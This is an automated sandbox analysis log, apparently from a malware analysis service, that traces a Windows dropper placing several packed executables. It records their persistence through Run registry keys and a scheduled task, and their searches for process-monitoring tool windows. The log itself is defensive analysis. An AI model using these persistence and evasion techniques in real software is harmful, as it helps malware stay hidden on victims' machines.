Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3210240 > 1048576

Source: file.exe

Static PE information: Raw size of nnwaoodm is bigger than: 0x100000 < 0x2a4000

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W;nnwaoodm:EW;ocwkoyql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;nnwaoodm:EW;ocwkoyql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W;nnwaoodm:EW;ocwkoyql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;nnwaoodm:EW;ocwkoyql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W;nnwaoodm:EW;ocwkoyql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;nnwaoodm:EW;ocwkoyql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W;nnwaoodm:EW;ocwkoyql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;nnwaoodm:EW;ocwkoyql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Unpacked PE file: 9.2.37df924488.exe.680000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ipnqzgkg:EW;equqovlh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ipnqzgkg:EW;equqovlh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Unpacked PE file: 10.2.ae5cfd188c.exe.2a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xyjapqsh:EW;fjnsenoe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xyjapqsh:EW;fjnsenoe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Unpacked PE file: 27.2.37df924488.exe.680000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ipnqzgkg:EW;equqovlh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ipnqzgkg:EW;equqovlh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Unpacked PE file: 28.2.9c2827fca4.exe.670000.0.unpack :EW;.rsrc:W;.idata :W;cdtvwakf:EW;qjmihuav:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Unpacked PE file: 33.2.9c2827fca4.exe.670000.0.unpack :EW;.rsrc:W;.idata :W;cdtvwakf:EW;qjmihuav:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006742DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_006742DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1de5a6 should be: 0x1de476
Source: ae5cfd188c.exe.6.dr	Static PE information: real checksum: 0x1de5a6 should be: 0x1de476
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x2cb988 should be: 0x2ccccb
Source: 37df924488.exe.6.dr	Static PE information: real checksum: 0x1bd78b should be: 0x1bf97a
Source: file.exe	Static PE information: real checksum: 0x31c073 should be: 0x31a034
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x31c073 should be: 0x31a034
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1bd78b should be: 0x1bf97a
Source: 9c2827fca4.exe.6.dr	Static PE information: real checksum: 0x2cb988 should be: 0x2ccccb

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: nnwaoodm
Source: file.exe	Static PE information: section name: ocwkoyql
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: nnwaoodm
Source: skotes.exe.0.dr	Static PE information: section name: ocwkoyql
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: xyjapqsh
Source: random[1].exe.6.dr	Static PE information: section name: fjnsenoe
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: ae5cfd188c.exe.6.dr	Static PE information: section name:
Source: ae5cfd188c.exe.6.dr	Static PE information: section name: .idata
Source: ae5cfd188c.exe.6.dr	Static PE information: section name:
Source: ae5cfd188c.exe.6.dr	Static PE information: section name: xyjapqsh
Source: ae5cfd188c.exe.6.dr	Static PE information: section name: fjnsenoe
Source: ae5cfd188c.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: ipnqzgkg
Source: random[1].exe0.6.dr	Static PE information: section name: equqovlh
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 37df924488.exe.6.dr	Static PE information: section name:
Source: 37df924488.exe.6.dr	Static PE information: section name: .idata
Source: 37df924488.exe.6.dr	Static PE information: section name:
Source: 37df924488.exe.6.dr	Static PE information: section name: ipnqzgkg
Source: 37df924488.exe.6.dr	Static PE information: section name: equqovlh
Source: 37df924488.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name: cdtvwakf
Source: random[1].exe2.6.dr	Static PE information: section name: qjmihuav
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 9c2827fca4.exe.6.dr	Static PE information: section name:
Source: 9c2827fca4.exe.6.dr	Static PE information: section name: .idata
Source: 9c2827fca4.exe.6.dr	Static PE information: section name: cdtvwakf
Source: 9c2827fca4.exe.6.dr	Static PE information: section name: qjmihuav
Source: 9c2827fca4.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FD91C push ecx; ret	0_2_009FD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009F1359 push es; ret	0_2_009F135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00ABD91C push ecx; ret	1_2_00ABD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00ABD91C push ecx; ret	2_2_00ABD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ABD91C push ecx; ret	6_2_00ABD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ADDEDB push ss; iretd	6_2_00ADDEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ABDFC6 push ecx; ret	6_2_00ABDFD9
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00690A76 push ecx; ret	11_2_00690A89

Source: file.exe	Static PE information: section name: entropy: 7.067745136702224
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.067745136702224
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.97823310420282
Source: random[1].exe.6.dr	Static PE information: section name: xyjapqsh entropy: 7.953197683807969
Source: ae5cfd188c.exe.6.dr	Static PE information: section name: entropy: 7.97823310420282
Source: ae5cfd188c.exe.6.dr	Static PE information: section name: xyjapqsh entropy: 7.953197683807969
Source: random[1].exe0.6.dr	Static PE information: section name: ipnqzgkg entropy: 7.954190185075461
Source: 37df924488.exe.6.dr	Static PE information: section name: ipnqzgkg entropy: 7.954190185075461
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.79776762494654
Source: 9c2827fca4.exe.6.dr	Static PE information: section name: entropy: 7.79776762494654

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9c2827fca4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2ada66c192.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ae5cfd188c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 37df924488.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ae5cfd188c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ae5cfd188c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 37df924488.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 37df924488.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2ada66c192.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2ada66c192.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9c2827fca4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9c2827fca4.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_0068F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		11_2_0068F98E
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00701C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		11_2_00701C41

Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
